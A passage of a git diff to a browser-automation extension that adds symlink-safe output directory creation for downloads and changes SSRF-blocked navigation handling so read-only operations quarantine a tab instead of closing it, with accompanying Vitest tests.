vi.useFakeTimers(); - try { - const executablePath = path.join(tmpDir, "chrome"); - await fsp.writeFile(executablePath, ""); - const existsSync = fs.existsSync.bind(fs); - vi.spyOn(fs, "existsSync").mockImplementation((p) => { - const s = String(p); - if (s.endsWith("Local State") || s.endsWith("Preferences")) { - return true; - } - return existsSync(p); - }); - const fakeProc = makeFakeProc(); - spawnMock.mockReturnValue(fakeProc); - vi.stubGlobal("fetch", vi.fn().mockRejectedValue(new Error("ECONNREFUSED"))); + const executablePath = path.join(tmpDir, "chrome"); + await fsp.writeFile(executablePath, ""); + const existsSync = fs.existsSync.bind(fs); + vi.spyOn(fs, "existsSync").mockImplementation((p) => { + const s = String(p); + if (s.endsWith("Local State") || s.endsWith("Preferences")) { + return true; + } + return existsSync(p); + }); + const fakeProc = makeFakeProc(); + spawnMock.mockReturnValue(fakeProc); + mockExpiredLaunchPollingClock(); + vi.stubGlobal("fetch", vi.fn().mockRejectedValue(new Error("ECONNREFUSED"))); - const resolved = { - ...makeResolved(), - executablePath, - localLaunchTimeoutMs: 1, - }; - const profile = makeProfile(55556); - const rejection = expect(launchOpenClawChrome(resolved, profile)).rejects.toThrow( - /Failed to start Chrome CDP/, - ); + const resolved = { + ...makeResolved(), + executablePath, + localLaunchTimeoutMs: 1, + }; + const profile = makeProfile(55556); - await vi.advanceTimersByTimeAsync(10); - await rejection; - expect(fakeProc.kill).toHaveBeenCalledWith("SIGKILL"); - } finally { - vi.useRealTimers(); - } + await expect(launchOpenClawChrome(resolved, profile)).rejects.toThrow( + /Failed to start Chrome CDP/, + ); + expect(fakeProc.kill).toHaveBeenCalledWith("SIGKILL"); }); }); @@ -997,9 +1003,12 @@ describe("chrome.ts internal", () => { const fakeProc = makeFakeProc(); spawnMock.mockImplementation(() => { // Synthesize stderr data shortly after spawn. - setTimeout(() => fakeProc.stderr.emit("data", Buffer.from("chrome crash log\n")), 5); + void Promise.resolve().then(() => + fakeProc.stderr.emit("data", Buffer.from("chrome crash log\n")), + ); return fakeProc; }); + mockExpiredLaunchPollingClock(); vi.stubGlobal("fetch", vi.fn().mockRejectedValue(new Error("ECONNREFUSED"))); const profile = { name: "openclaw-stderr", @@ -1036,6 +1045,7 @@ describe("chrome.ts internal", () => { return false; }); spawnMock.mockImplementation(() => makeFakeProc()); + mockExpiredLaunchPollingClock(); vi.stubGlobal("fetch", vi.fn().mockRejectedValue(new Error("ECONNREFUSED"))); const profile = { name: "openclaw-mac", @@ -1064,13 +1074,9 @@ describe("chrome.ts internal", () => { it("breaks out of the bootstrap prefs-wait loop as soon as both files exist", async () => { // Covers the `if (exists(localStatePath) && exists(preferencesPath)) break;` branch. - // Use a wallclock flag that the mock checks each call so the loop - // iterates (awaiting its 100ms setTimeout) once with prefs-absent, - // then the flag flips and the next iteration hits the break. - let prefsVisible = false; - setTimeout(() => { - prefsVisible = true; - }, 50); + // The first prefs probe makes bootstrap necessary; subsequent probes + // make both prefs files visible so the polling loop breaks immediately. + let prefsProbeCount = 0; vi.spyOn(fs, "existsSync").mockImplementation((p) => { const s = String(p); if ( @@ -1081,7 +1087,8 @@ describe("chrome.ts internal", () => { return true; } if (s.endsWith("Local State") || s.endsWith("Preferences")) { - return prefsVisible; + prefsProbeCount += 1; + return prefsProbeCount > 1; } return false; }); @@ -1136,17 +1143,15 @@ describe("chrome.ts internal", () => { }); const bootstrapProc = makeFakeProc(); const runtimeProc = makeFakeProc(); + bootstrapProc.kill = vi.fn((_sig?: string) => { + bootstrapProc.killed = true; + bootstrapProc.exitCode = 0; + return true; + }); let callCount = 0; spawnMock.mockImplementation(() => { callCount += 1; - if (callCount === 1) { - // Set exitCode shortly after spawn so the exit-wait loop breaks. - setTimeout(() => { - bootstrapProc.exitCode = 0; - }, 25); - return bootstrapProc; - } - return runtimeProc; + return callCount === 1 ? bootstrapProc : runtimeProc; }); await withMockChromeCdpServer({ wsPath: "/devtools/browser/EXIT_BREAK", diff --git a/extensions/browser/src/browser/chrome.ts b/extensions/browser/src/browser/chrome.ts index b035eb3f373..d5d091785db 100644 --- a/extensions/browser/src/browser/chrome.ts +++ b/extensions/browser/src/browser/chrome.ts @@ -59,6 +59,7 @@ import { DEFAULT_OPENCLAW_BROWSER_PROFILE_NAME, } from "./constants.js"; import { BrowserProfileUnavailableError } from "./errors.js"; +import { ensureOutputDirectory } from "./output-directories.js"; import { DEFAULT_DOWNLOAD_DIR } from "./paths.js"; const log = createSubsystemLogger("browser").child("chrome"); @@ -423,7 +424,7 @@ export async function launchOpenClawChrome( const userDataDir = resolveOpenClawUserDataDir(profile.name); fs.mkdirSync(userDataDir, { recursive: true }); - fs.mkdirSync(DEFAULT_DOWNLOAD_DIR, { recursive: true }); + await ensureOutputDirectory(DEFAULT_DOWNLOAD_DIR); const needsDecorate = !isProfileDecorated( userDataDir, diff --git a/extensions/browser/src/browser/client.test.ts b/extensions/browser/src/browser/client.test.ts index 5aa3eb78aba..67a3aaa0c39 100644 --- a/extensions/browser/src/browser/client.test.ts +++ b/extensions/browser/src/browser/client.test.ts @@ -316,9 +316,13 @@ describe("browser client", () => { browserScreenshotAction("http://127.0.0.1:18791", { targetId: "t-default" }), ).resolves.toMatchObject({ ok: true, path: "/tmp/a.png" }); - expect(calls.some((c) => c.url.endsWith("/tabs"))).toBe(true); - expect(calls.some((c) => c.url.endsWith("/doctor"))).toBe(true); - expect(calls.some((c) => c.url.endsWith("/doctor?profile=openclaw&deep=true"))).toBe(true); + expect(calls.map((call) => call.url)).toEqual( + expect.arrayContaining([ + expect.stringMatching(/\/tabs$/), + expect.stringMatching(/\/doctor$/), + expect.stringMatching(/\/doctor\?profile=openclaw&deep=true$/), + ]), + ); const open = calls.find((c) => c.url.endsWith("/tabs/open")); expect(open?.init?.method).toBe("POST"); diff --git a/extensions/browser/src/browser/doctor.test.ts b/extensions/browser/src/browser/doctor.test.ts index b82e0542118..791804de327 100644 --- a/extensions/browser/src/browser/doctor.test.ts +++ b/extensions/browser/src/browser/doctor.test.ts @@ -101,7 +101,9 @@ describe("buildBrowserDoctorReport", () => { }); expect(report.ok).toBe(true); - expect(report.checks.some((check) => check.status === "warn")).toBe(true); + expect( + report.checks.filter((check) => check.status === "warn").map((check) => check.id), + ).toEqual(["managed-executable", "display", "linux-sandbox"]); expect(report.checks.find((check) => check.id === "display")).toMatchObject({ summary: "No DISPLAY or WAYLAND_DISPLAY is set while headed mode is selected (config)", }); diff --git a/extensions/browser/src/browser/output-atomic.ts b/extensions/browser/src/browser/output-atomic.ts index f0586e81237..74997be547f 100644 --- a/extensions/browser/src/browser/output-atomic.ts +++ b/extensions/browser/src/browser/output-atomic.ts @@ -1,12 +1,12 @@ -import fs from "node:fs/promises"; import { writeExternalFileWithinRoot } from "../sdk-security-runtime.js"; +import { ensureOutputDirectory } from "./output-directories.js"; export async function writeViaSiblingTempPath(params: { rootDir: string; targetPath: string; writeTemp: (tempPath: string) => Promise; }): Promise { - await fs.mkdir(params.rootDir, { recursive: true }); + await ensureOutputDirectory(params.rootDir); await writeExternalFileWithinRoot({ rootDir: params.rootDir, path: params.targetPath, diff --git a/extensions/browser/src/browser/output-directories.test.ts b/extensions/browser/src/browser/output-directories.test.ts new file mode 100644 index 00000000000..fc247daa4ac --- /dev/null +++ b/extensions/browser/src/browser/output-directories.test.ts @@ -0,0 +1,44 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { describe, expect, it } from "vitest"; +import { ensureOutputDirectory } from "./output-directories.js"; + +async function withTempDir(run: (tempDir: string) => Promise): Promise { + const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-output-dir-test-")); + try { + return await run(tempDir); + } finally { + await fs.rm(tempDir, { recursive: true, force: true }); + } +} + +describe("ensureOutputDirectory", () => { + it("creates nested missing output directories", async () => { + await withTempDir(async (tempDir) => { + const outputDir = path.join(tempDir, "reports", "downloads"); + + await ensureOutputDirectory(outputDir); + + const stat = await fs.stat(outputDir); + expect(stat.isDirectory()).toBe(true); + }); + }); + + it.runIf(process.platform !== "win32")( + "rejects symlinked output directory ancestors", + async () => { + await withTempDir(async (tempDir) => { + const outsideDir = path.join(tempDir, "outside"); + await fs.mkdir(outsideDir); + const symlinkDir = path.join(tempDir, "downloads"); + await fs.symlink(outsideDir, symlinkDir); + + await expect(ensureOutputDirectory(path.join(symlinkDir, "nested"))).rejects.toThrow( + /symlink|output directory/i, + ); + await expect(fs.access(path.join(outsideDir, "nested"))).rejects.toThrow(); + }); + }, + ); +}); diff --git a/extensions/browser/src/browser/output-directories.ts b/extensions/browser/src/browser/output-directories.ts new file mode 100644 index 00000000000..19bdc57c17c --- /dev/null +++ b/extensions/browser/src/browser/output-directories.ts @@ -0,0 +1,35 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { ensureAbsoluteDirectory } from "../sdk-security-runtime.js"; + +async function resolveSystemDirectoryAlias(dirPath: string): Promise { + // macOS exposes /tmp and /var as fixed system symlinks into /private. + // Canonicalize only those roots before rejecting symlinks below them. + for (const aliasRoot of ["/tmp", "/var"]) { + if (dirPath !== aliasRoot && !dirPath.startsWith(`${aliasRoot}${path.sep}`)) { + continue; + } + try { + const stat = await fs.lstat(aliasRoot); + if (!stat.isSymbolicLink()) { + return dirPath; + } + return path.join(await fs.realpath(aliasRoot), path.relative(aliasRoot, dirPath)); + } catch { + return dirPath; + } + } + return dirPath; +} + +export async function ensureOutputDirectory(dirPath: string): Promise { + const result = await ensureAbsoluteDirectory( + await resolveSystemDirectoryAlias(path.resolve(dirPath)), + { + scopeLabel: "output directory", + }, + ); + if (!result.ok) { + throw result.error; + } +} diff --git a/extensions/browser/src/browser/output-files.ts b/extensions/browser/src/browser/output-files.ts new file mode 100644 index 00000000000..442236f860e --- /dev/null +++ b/extensions/browser/src/browser/output-files.ts @@ -0,0 +1,26 @@ +import path from "node:path"; +import { writeExternalFileWithinRoot } from "../sdk-security-runtime.js"; +import { ensureOutputDirectory } from "./output-directories.js"; + +export async function writeExternalFileWithinOutputRoot(params: { + rootDir?: string; + path: string; + write: (filePath: string) => Promise; +}): Promise { + const outputPath = params.path.trim(); + if (!outputPath) { + throw new Error("output path is required"); + } + + const rootDir = params.rootDir + ? path.resolve(params.rootDir) + : path.dirname(path.resolve(outputPath)); + await ensureOutputDirectory(rootDir); + + const result = await writeExternalFileWithinRoot({ + rootDir, + path: outputPath, + write: params.write, + }); + return result.path; +} diff --git a/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts b/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts new file mode 100644 index 00000000000..c132ddf1ac7 --- /dev/null +++ b/extensions/browser/src/browser/pw-session.assert-navigation-safety.test.ts @@ -0,0 +1,124 @@ +import type { Page } from "playwright-core"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { SsrFBlockedError } from "../infra/net/ssrf.js"; +import { + assertBrowserNavigationRedirectChainAllowed, + assertBrowserNavigationResultAllowed, +} from "./navigation-guard.js"; +import { assertPageNavigationCompletedSafely } from "./pw-session.js"; + +vi.mock("./navigation-guard.js", async (importOriginal) => { + const actual = await importOriginal>(); + return { + ...actual, + assertBrowserNavigationRedirectChainAllowed: vi.fn(async () => {}), + assertBrowserNavigationResultAllowed: vi.fn(async () => {}), + }; +}); + +const mockedRedirectChain = vi.mocked(assertBrowserNavigationRedirectChainAllowed); +const mockedResultAllowed = vi.mocked(assertBrowserNavigationResultAllowed); + +afterEach(() => { + mockedRedirectChain.mockReset(); + mockedRedirectChain.mockImplementation(async () => {}); + mockedResultAllowed.mockReset(); + mockedResultAllowed.mockImplementation(async () => {}); +}); + +function fakePage(url = "https://blocked.example/admin"): { + page: Page; + close: ReturnType; +} { + const close = vi.fn(async () => {}); + const page = { + url: vi.fn(() => url), + close, + } as unknown as Page; + return { page, close }; +} + +describe("assertPageNavigationCompletedSafely", () => { + it("does not close the tab when a read-only caller hits an SSRF-blocked URL (response: null)", async () => { + // A read-only caller (snapshot/screenshot/interactions) passes response: null + // and must never lose the user's tab when the policy guard rejects. + mockedResultAllowed.mockRejectedValueOnce(new SsrFBlockedError("blocked by policy")); + + const { page, close } = fakePage(); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBeInstanceOf(SsrFBlockedError); + + expect(close).not.toHaveBeenCalled(); + }); + + it("does not close the tab when a navigate caller hits an SSRF-blocked URL (response: non-null)", async () => { + // Even when the helper is invoked with a real Response (i.e. on the + // navigate path), the close decision now belongs to the caller. The + // helper must only quarantine + rethrow; the caller's try/catch is + // responsible for closing if it owns the navigation lifecycle. + mockedResultAllowed.mockRejectedValueOnce(new SsrFBlockedError("blocked by policy")); + + const { page, close } = fakePage(); + const response = { request: () => undefined } as unknown as Parameters< + typeof assertPageNavigationCompletedSafely + >[0]["response"]; + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBeInstanceOf(SsrFBlockedError); + + expect(close).not.toHaveBeenCalled(); + }); + + it("rethrows non-policy errors without touching the tab", async () => { + const boom = new Error("transient playwright error"); + mockedResultAllowed.mockRejectedValueOnce(boom); + + const { page, close } = fakePage(); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).rejects.toBe(boom); + + expect(close).not.toHaveBeenCalled(); + }); + + it("returns silently when both guards pass", async () => { + const { page, close } = fakePage("https://allowed.example/"); + + await expect( + assertPageNavigationCompletedSafely({ + cdpUrl: "http://127.0.0.1:18792", + page, + response: null, + ssrfPolicy: { allowPrivateNetwork: false }, + targetId: "tab-1", + }), + ).resolves.toBeUndefined(); + + expect(close).not.toHaveBeenCalled(); + expect(mockedResultAllowed).toHaveBeenCalledWith( + expect.objectContaining({ url: "https://allowed.example/" }), + ); + }); +}); diff --git a/extensions/browser/src/browser/pw-session.test.ts b/extensions/browser/src/browser/pw-session.test.ts index bb94f039fa2..2d41cf97d08 100644 --- a/extensions/browser/src/browser/pw-session.test.ts +++ b/extensions/browser/src/browser/pw-session.test.ts @@ -138,11 +138,6 @@ describe("pw-session role refs cache", () => { describe("pw-session ensurePageState", () => { it("stores unmanaged downloads under unique managed paths", async () => { const { page, handlers } = fakePage(); - const mkdirActual = fs.mkdir.bind(fs); - const mkdirSpy = vi.spyOn(fs, "mkdir").mockImplementation(async (target, options) => { - await mkdirActual(target, options); - return undefined; - }); ensurePageState(page); const saveAsA = vi.fn(async (outPath: string) => { @@ -175,7 +170,6 @@ describe("pw-session ensurePageState", () => { expect(saveAsB.mock.calls[0]?.[0]).not.toBe(managedPathB); await expect(fs.readFile(managedPathA ?? "", "utf8")).resolves.toBe("download-a"); await expect(fs.readFile(managedPathB ?? "", "utf8")).resolves.toBe("download-b"); - expect(mkdirSpy).toHaveBeenCalledWith(DEFAULT_DOWNLOAD_DIR, { recursive: true }); }); it("suppresses unmanaged download save rejections until path is awaited", async () => { diff --git a/extensions/browser/src/browser/pw-session.ts b/extensions/browser/src/browser/pw-session.ts index 31241ed2d7d..ea18eb71b18 100644 --- a/extensions/browser/src/browser/pw-session.ts +++ b/extensions/browser/src/browser/pw-session.ts @@ -854,16 +854,20 @@ function isSubframeDocumentNavigationRequest(page: Page, request: Request): bool } } -function isPolicyDenyNavigationError(err: unknown): boolean { +export function isPolicyDenyNavigationError(err: unknown): boolean { return err instanceof SsrFBlockedError || err instanceof InvalidBrowserNavigationUrlError; } -async function closeBlockedNavigationTarget(opts: { +// Mark a page (and its CDP target id when resolvable) as blocked so subsequent +// OpenClaw operations short-circuit instead of re-running the SSRF check on a +// page we have already proven is non-compliant. This is a pure bookkeeping +// step; it does NOT close the tab. Read-only paths can call this safely on a +// user-owned tab without losing the user's content. +async function quarantineBlockedTarget(opts: { cdpUrl: string; page: Page; targetId?: string; }): Promise { - // Quarantine the concrete page first; then persist by target id when available. markPageRefBlocked(opts.cdpUrl, opts.page); const resolvedTargetId = await pageTargetId(opts.page).catch(() => null); const fallbackTargetId = normalizeOptionalString(opts.targetId) ?? ""; @@ -871,9 +875,24 @@ async function closeBlockedNavigationTarget(opts: { if (targetIdToBlock) { markTargetBlocked(opts.cdpUrl, targetIdToBlock); } +} + +// Quarantine and close a tab that OpenClaw itself navigated to a blocked URL. +// Only callers that own the navigation lifecycle (gotoPageWithNavigationGuard +// and the navigate-style entry points that wrap it) may invoke this — closing +// a tab is a destructive action that must not happen on user-owned tabs from +// read-only operations like snapshot/screenshot/interactions. +export async function closeBlockedNavigationTarget(opts: { + cdpUrl: string; + page: Page; + targetId?: string; +}): Promise { + await quarantineBlockedTarget(opts); await opts.page.close().catch(() => {}); } +// On policy denial: quarantines and rethrows (never closes). +// Navigate-style callers catch the rethrow and close via closeBlockedNavigationTarget. export async function assertPageNavigationCompletedSafely( opts: { cdpUrl: string; @@ -896,7 +915,7 @@ export async function assertPageNavigationCompletedSafely( }); } catch (err) { if (isPolicyDenyNavigationError(err)) { - await closeBlockedNavigationTarget({ + await quarantineBlockedTarget({ cdpUrl: opts.cdpUrl, page: opts.page, targetId: opts.targetId, @@ -1340,14 +1359,27 @@ export async function createPageViaPlaywright( throw err; } } - await assertPageNavigationCompletedSafely({ - cdpUrl: opts.cdpUrl, - page, - response, - ssrfPolicy: opts.ssrfPolicy, - browserProxyMode: opts.browserProxyMode, - targetId: createdTargetId ?? undefined, - }); + // OpenClaw owns this newly-created tab: if the post-navigation safety + // check trips, close the tab we just spawned. + try { + await assertPageNavigationCompletedSafely({ + cdpUrl: opts.cdpUrl, + page, + response, + ssrfPolicy: opts.ssrfPolicy, + browserProxyMode: opts.browserProxyMode, + targetId: createdTargetId ?? undefined, + }); + } catch (err) { + if (isPolicyDenyNavigationError(err)) { + await closeBlockedNavigationTarget({ + cdpUrl: opts.cdpUrl, + page, + targetId: createdTargetId ?? undefined, + }); + } + throw err; + } } // Get the targetId for this page diff --git a/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts b/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts index c9086f440c7..464643147aa 100644 --- a/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.browser-ssrf-guard.test.ts @@ -7,6 +7,7 @@ const pageState = vi.hoisted(() => ({ const sessionMocks = vi.hoisted(() => ({ assertPageNavigationCompletedSafely: vi.fn(async () => {}), + closeBlockedNavigationTarget: vi.fn(async () => {}), ensurePageState: vi.fn(() => ({})), forceDisconnectPlaywrightForTarget: vi.fn(async () => {}), getPageForTargetId: vi.fn(async () => { @@ -16,6 +17,7 @@ const sessionMocks = vi.hoisted(() => ({ return pageState.page; }), gotoPageWithNavigationGuard: vi.fn(async () => null), + isPolicyDenyNavigationError: vi.fn(() => false), refLocator: vi.fn(() => { if (!pageState.locator) { throw new Error("missing locator"); diff --git a/extensions/browser/src/browser/pw-tools-core.downloads.ts b/extensions/browser/src/browser/pw-tools-core.downloads.ts index 6a037fc4ce4..0ae4242855d 100644 --- a/extensions/browser/src/browser/pw-tools-core.downloads.ts +++ b/extensions/browser/src/browser/pw-tools-core.downloads.ts @@ -2,7 +2,7 @@ import crypto from "node:crypto"; import path from "node:path"; import type { Page } from "playwright-core"; import { resolvePreferredOpenClawTmpDir } from "../infra/tmp-openclaw-dir.js"; -import { writeViaSiblingTempPath } from "./output-atomic.js"; +import { writeExternalFileWithinOutputRoot } from "./output-files.js"; import { DEFAULT_UPLOAD_DIR, resolveStrictExistingPathsWithinRoot } from "./paths.js"; import { ensurePageState, @@ -88,33 +88,22 @@ type DownloadPayload = { saveAs?: (outPath: string) => Promise; }; -async function saveDownloadPayload(download: DownloadPayload, outPath: string) { +async function saveDownloadPayload(download: DownloadPayload, outPath: string, rootDir?: string) { const suggested = download.suggestedFilename?.() || "download.bin"; const requestedPath = outPath?.trim(); const resolvedOutPath = path.resolve(requestedPath || buildTempDownloadPath(suggested)); - - if (!requestedPath) { - await writeViaSiblingTempPath({ - rootDir: path.dirname(resolvedOutPath), - targetPath: resolvedOutPath, - writeTemp: async (tempPath) => { - await download.saveAs?.(tempPath); - }, - }); - } else { - await writeViaSiblingTempPath({ - rootDir: path.dirname(resolvedOutPath), - targetPath: resolvedOutPath, - writeTemp: async (tempPath) => { - await download.saveAs?.(tempPath); - }, - }); - } + const finalPath = await writeExternalFileWithinOutputRoot({ + rootDir, + path: resolvedOutPath, + write: async (tempPath) => { + await download.saveAs?.(tempPath); + }, + }); return { url: download.url?.() || "", suggestedFilename: suggested, - path: resolvedOutPath, + path: finalPath, }; } @@ -123,13 +112,14 @@ async function awaitDownloadPayload(params: { state: ReturnType; armId: number; outPath?: string; + rootDir?: string; }) { try { const download = (await params.waiter.promise) as DownloadPayload; if (params.state.armIdDownload !== params.armId) { throw new Error("Download was superseded by another waiter"); } - return await saveDownloadPayload(download, params.outPath ?? ""); + return await saveDownloadPayload(download, params.outPath ?? "", params.rootDir); } catch (err) { params.waiter.cancel(); throw err; @@ -233,6 +223,7 @@ export async function waitForDownloadViaPlaywright(opts: { cdpUrl: string; targetId?: string; path?: string; + rootDir?: string; timeoutMs?: number; }): Promise<{ url: string; @@ -247,7 +238,13 @@ export async function waitForDownloadViaPlaywright(opts: { const armId = state.armIdDownload; const waiter = createPageDownloadWaiter(page, timeout); - return await awaitDownloadPayload({ waiter, state, armId, outPath: opts.path }); + return await awaitDownloadPayload({ + waiter, + state, + armId, + outPath: opts.path, + rootDir: opts.rootDir, + }); } export async function downloadViaPlaywright(opts: { @@ -255,6 +252,7 @@ export async function downloadViaPlaywright(opts: { targetId?: string; ref: string; path: string; + rootDir?: string; timeoutMs?: number; }): Promise<{ url: string; @@ -283,7 +281,13 @@ export async function downloadViaPlaywright(opts: { } catch (err) { throw toAIFriendlyError(err, ref); } - return await awaitDownloadPayload({ waiter, state, armId, outPath }); + return await awaitDownloadPayload({ + waiter, + state, + armId, + outPath, + rootDir: opts.rootDir, + }); } catch (err) { waiter.cancel(); throw err; diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts index 546e459ad23..0a4ee02f00e 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.navigate-guard.test.ts @@ -144,5 +144,38 @@ describe("pw-tools-core.snapshot navigate guard", () => { expect(getPwToolsCoreSessionMocks().assertPageNavigationCompletedSafely).toHaveBeenCalledTimes( 1, ); + // Navigate-style entry points OWN the navigation lifecycle, so when the + // post-navigation safety check rejects with an SSRF policy error the + // caller is responsible for closing the tab it just navigated. This is + // the counterpart to the read-only paths (snapshot/screenshot/ + // interactions), which must NOT close the tab on the same error. + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).toHaveBeenCalledTimes(1); + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).toHaveBeenCalledWith({ + cdpUrl: "http://127.0.0.1:18792", + page: expect.anything(), + targetId: undefined, + }); + }); + + it("does not close the tab when post-navigation rejection is not a policy deny", async () => { + // Non-policy errors (e.g. transient playwright failures) must not be + // treated as "we navigated to a blocked URL" — the tab stays open. + const goto = vi.fn(async () => ({ request: () => undefined })); + setPwToolsCoreCurrentPage({ + goto, + url: vi.fn(() => "https://example.com/final"), + }); + getPwToolsCoreSessionMocks().assertPageNavigationCompletedSafely.mockRejectedValueOnce( + new Error("transient playwright error"), + ); + + await expect( + mod.navigateViaPlaywright({ + cdpUrl: "http://127.0.0.1:18792", + url: "https://example.com/final", + }), + ).rejects.toThrow("transient playwright error"); + + expect(getPwToolsCoreSessionMocks().closeBlockedNavigationTarget).not.toHaveBeenCalled(); }); }); diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts index 97aebadf2e7..dab89e8052f 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.test.ts @@ -9,10 +9,12 @@ const formatAriaSnapshot = vi.fn(); vi.mock("./pw-session.js", () => ({ assertPageNavigationCompletedSafely: vi.fn(), + closeBlockedNavigationTarget: vi.fn(), ensurePageState, forceDisconnectPlaywrightForTarget: vi.fn(), getPageForTargetId, gotoPageWithNavigationGuard: vi.fn(), + isPolicyDenyNavigationError: vi.fn(() => false), storeRoleRefsForTarget, })); diff --git a/extensions/browser/src/browser/pw-tools-core.snapshot.ts b/extensions/browser/src/browser/pw-tools-core.snapshot.ts index 084fa9ec059..d57e814f217 100644 --- a/extensions/browser/src/browser/pw-tools-core.snapshot.ts +++ b/extensions/browser/src/browser/pw-tools-core.snapshot.ts @@ -19,10 +19,12 @@ import { } from "./pw-role-snapshot.js"; import { assertPageNavigationCompletedSafely, + closeBlockedNavigationTarget, ensurePageState, forceDisconnectPlaywrightForTarget, getPageForTargetId, gotoPageWithNavigationGuard, + isPolicyDenyNavigationError, storeRoleRefsForTarget, } from "./pw-session.js"; import { markBackendDomRefsOnPage, withPageScopedCdpClient } from "./pw-session.page-cdp.js"; @@ -378,14 +380,25 @@ export async function navigateViaPlaywright(opts: { ensurePageState(page); response = await navigate(); } - await assertPageNavigationCompletedSafely({ - cdpUrl: opts.cdpUrl, - page, - response, - ssrfPolicy: opts.ssrfPolicy, - browserProxyMode: opts.browserProxyMode, - targetId: opts.targetId, - }); + try { + await assertPageNavigationCompletedSafely({ + cdpUrl: opts.cdpUrl, + page, + response, + ssrfPolicy: opts.ssrfPolicy, + browserProxyMode: opts.browserProxyMode, + targetId: opts.targetId, + }); + } catch (err) { + if (isPolicyDenyNavigationError(err)) { + await closeBlockedNavigationTarget({ + cdpUrl: opts.cdpUrl, + page, + targetId: opts.targetId, + }); + } + throw err; + } const finalUrl = page.url(); return { url: finalUrl }; } diff --git a/extensions/browser/src/browser/pw-tools-core.test-harness.ts b/extensions/browser/src/browser/pw-tools-core.test-harness.ts index 421ed5649e6..bcacd7d0f84 100644 --- a/extensions/browser/src/browser/pw-tools-core.test-harness.ts +++ b/extensions/browser/src/browser/pw-tools-core.test-harness.ts @@ -18,6 +18,7 @@ let pageState: { const sessionMocks = vi.hoisted(() => ({ assertPageNavigationCompletedSafely: vi.fn(async () => {}), + closeBlockedNavigationTarget: vi.fn(async () => {}), getPageForTargetId: vi.fn(async () => { if (!currentPage) { throw new Error("missing page"); @@ -33,6 +34,13 @@ const sessionMocks = vi.hoisted(() => ({ page: { goto: (url: string, init: { timeout: number }) => Promise }; }) => (await opts.page.goto(opts.url, { timeout: opts.timeoutMs })) ?? null, ), + // Match by name so mocked errors are recognized without importing real classes. + isPolicyDenyNavigationError: vi.fn((err: unknown) => { + if (!(err instanceof Error)) { + return false; + } + return err.name === "SsrFBlockedError" || err.name === "InvalidBrowserNavigationUrlError"; + }), restoreRoleRefsForTarget: vi.fn(() => {}), storeRoleRefsForTarget: vi.fn(() => {}), refLocator: vi.fn(() => { diff --git a/extensions/browser/src/browser/pw-tools-core.waits-next-download-saves-it.test.ts b/extensions/browser/src/browser/pw-tools-core.waits-next-download-saves-it.test.ts index 2e87fa40cbb..e1f583fef1c 100644 --- a/extensions/browser/src/browser/pw-tools-core.waits-next-download-saves-it.test.ts +++ b/extensions/browser/src/browser/pw-tools-core.waits-next-download-saves-it.test.ts @@ -137,7 +137,9 @@ describe("pw-tools-core", () => { const savedPath = params.saveAs.mock.calls[0]?.[0]; expect(typeof savedPath).toBe("string"); expect(savedPath).not.toBe(params.targetPath); - expect(path.basename(String(savedPath))).toBe(path.basename(params.targetPath)); + expect(path.basename(path.dirname(String(savedPath)))).toContain("fs-safe-output"); + expect(path.basename(String(savedPath))).toContain(path.basename(params.targetPath)); + expect(path.basename(String(savedPath))).toMatch(/\.part$/); expect(await fs.readFile(params.targetPath, "utf8")).toBe(params.content); await expect(fs.access(String(savedPath))).rejects.toThrow(); } @@ -173,6 +175,39 @@ describe("pw-tools-core", () => { }); }); + it("creates missing explicit download output parents through the safe output directory path", async () => { + await withTempDir(async (tempDir) => { + const harness = createDownloadEventHarness(); + const targetPath = path.join(tempDir, "nested", "deeper", "file.bin"); + + const saveAs = vi.fn(async (outPath: string) => { + await fs.writeFile(outPath, "nested-content", "utf8"); + }); + + const p = mod.waitForDownloadViaPlaywright({ + cdpUrl: "http://127.0.0.1:18792", + targetId: "T1", + path: targetPath, + timeoutMs: 1000, + }); + + await Promise.resolve(); + harness.expectArmed(); + harness.trigger({ + url: () => "https://example.com/file.bin", + suggestedFilename: () => "file.bin", + saveAs, + }); + + await p; + await expectAtomicDownloadSave({ + saveAs, + targetPath, + content: "nested-content", + }); + }); + }); + it("marks explicit download waiters as owning the next download until cleanup", async () => { const harness = createDownloadEventHarness(); const state = sessionMocks.ensurePageState(); @@ -282,8 +317,9 @@ describe("pw-tools-core", () => { path.join(path.sep, "tmp", "openclaw-preferred", "downloads"), ); const expectedDownloadsTail = `${path.join("tmp", "openclaw-preferred", "downloads")}${path.sep}`; - expect(path.dirname(res.path)).toBe(expectedRootedDownloadsDir); - expect(path.basename(outPath)).toBe(path.basename(res.path)); + expect(path.dirname(outPath)).not.toBe(expectedRootedDownloadsDir); + expect(path.basename(outPath)).toContain(path.basename(res.path)); + expect(path.basename(outPath)).toMatch(/\.part$/); await expect(fs.readFile(res.path, "utf8")).resolves.toBe("download-content"); 